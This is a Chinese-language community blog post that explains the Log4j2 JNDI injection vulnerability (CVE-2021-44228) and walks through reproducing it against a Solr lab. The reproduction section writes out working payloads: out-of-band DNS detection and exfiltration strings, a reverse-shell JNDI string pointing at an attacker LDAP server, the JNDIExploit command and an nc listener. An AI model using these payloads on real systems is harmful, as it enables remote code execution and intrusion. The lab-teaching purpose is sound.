log4j2原理分析+漏洞复现和利用 | “朝闻道”知识分享大赛

花墩墩 2023-10-29 22:41:56

这是我参加朝闻道知识分享⼤赛的第四篇⽂章。

目录

log4j2简介  

漏洞描述  

漏洞适用版本  

漏洞原理  

log4j  

lookup  

jndi解析器  

LDAP解析器  

DNS解析器  

RMI解析器  

JDBC解析器  

JMS解析器  

攻击过程  

漏洞复现和利用  

感谢


log4j2简介  


log4j2是Java平台上一种流行的日志管理框架,也是log4j的升级版本。它提供了高度灵活和可配置的日志记录功能,可以用于在应用程序中生成、管理和输出日志信息。  

漏洞描述  


Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,用户可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。  

Log4j2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。该漏洞影响 Apache Struts、Apache Solr、Apache Druid、Apache Filnk等众多组件,漏洞影响面大,危害性高。  

漏洞适用版本  


2.0 <= Apache log4j2 <= 2.14.1  

漏洞原理  


Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi Lookup模块出现问题所导致的,这个模块在进行日志输出的时候可以通过对应的协议去访问服务器资源,但是对请求的数据内容又没有进行严格过滤,最终导致Log4j2去请求有恶意代码的服务器资源,从而造成远程代码执行导致命令执行。  

log4j  


一款通用的日志记录工具,可以通过简单表达式记录内容。  
这里的例子使用的是sys解析器(sys:user.dir)  

logger.info("system propety: ${sys:user.dir}");

 

lookup  


Lookup 是一种机制,用于动态获取和替换日志记录中的变量或属性的值。  

${date}:获取当前日期和时间,支持自定义格式。
${pid}:获取当前进程的 ID。
${logLevel}:获取当前日志记录的级别。

 

jndi解析器  


JNDI(Java Naming and Directory Interface)是Java提供的一种标准的API,用于访问命名和目录服务,例如DNS、LDAP等。JNDI提供了一种统一的方式来查找和访问各种命名服务,使得Java应用程序可以方便地与这些服务进行交互。  

在JNDI中,解析器(Resolver)是一个关键的组件。解析器用于将给定的名称解析为其对应的目标对象。JNDI提供了多种类型的解析器,根据不同的命名服务类型选择不同的解析器进行使用。
常见的JNDI解析器包括:  


LDAP解析器  

 

用于解析LDAP(轻量级目录访问协议)服务中的名称,将名称映射到目标对象,例如用户、组织等。  

DNS解析器  

 

用于解析DNS(域名系统)服务中的名称,将主机名解析为其对应的IP地址。  

RMI解析器  

 

用于解析RMI(远程方法调用)服务中的名称,将名称映射到远程对象。  

JDBC解析器  

 

用于解析JDBC(Java数据库连接)服务中的数据源名称,将数据源名称解析为其对应的数据库连接。  

JMS解析器  

 

用于解析JMS(Java消息服务)服务中的队列名称或主题名称,将名称解析为其对应的消息队列或主题。  

攻击过程  


攻击一般使用ldap、rmi进行注入,大致过程一般如下:  

1. 发送请求语句  

${jndi://rmi:服务器地址/Exploit}
${jndi:ldap:192.168.96.1:1099/exp}

 

2. 解析语句内容后对服务器资源发起请求。  

3. 请求到资源后,下载class恶意文件并且执行代码,最终造成命令执行。  

漏洞复现和利用  

 

  • 漏洞环境  
cd /log4j/CVE-2021-44228
ocker-compose up -d 

 

 

  • 检测漏洞  

使用ldap解析器,配合doslog回显平台,查看测试情况。  

http://x.x.x.x:8983/solr/admin/cores?action=${jndi:ldap://baec1688.dns.whitehat.asia.}

 

 
可以显而易见看到存在漏洞,并且有回显数据。  

  • 带外回显数据  
http://x.x.x.x:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.baec1688.dns.whitehat.asia.}

 

  • 反弹shell  

工具地址:https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4  

http://目标机IP:8983/solr/admin/cores?action=${jndi:ldap://x.x.x.x:1389/Basic/ReverseShell/x.x.x.x/6666}

 

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x

 

nc -lvvp 6666


 

感谢

  1. log4j2原理分析及漏洞复现 - FreeBuf网络安全行业门户
  2. Release JNDIExploit v1.4 · WhiteHSBG/JNDIExploit (github.com)
  3. log4j漏洞CVE-2021-44228复现-排雷篇 - S_m_workers - 博客园 (cnblogs.com)
  4. 【精选】Apache Log4j2漏洞修复-CSDN博客

 

...全文
181 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

1,041

社区成员

发帖
与我相关
我的任务
社区描述
中南民族大学CSDN高校俱乐部聚焦校内IT技术爱好者,通过构建系统化的内容和运营体系,旨在将中南民族大学CSDN社区变成校内最大的技术交流沟通平台。
经验分享 高校 湖北省·武汉市
社区管理员
  • c_university_1575
  • WhiteGlint666
  • wzh_scuec
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

欢迎各位加入中南民族大学&&CSDN高校俱乐部社区(官方QQ群:908527260),成为CSDN高校俱乐部的成员具体步骤(必填),填写如下表单,表单链接如下:
人才储备数据库及线上礼品发放表单邀请人吴钟昊:https://ddz.red/CSDN
CSDN高校俱乐部是给大家提供技术分享交流的平台,会不定期的给大家分享CSDN方面的相关比赛以及活动或实习报名链接,希望大家一起努力加油!共同建设中南民族大学良好的技术知识分享社区。

注意:

1.社区成员不得在社区发布违反社会主义核心价值观的言论。

2.社区成员不得在社区内谈及政治敏感话题。

3.该社区为知识分享的平台,可以相互探讨、交流学习经验,尽量不在社区谈论其他无关话题。

试试用AI创作助手写篇文章吧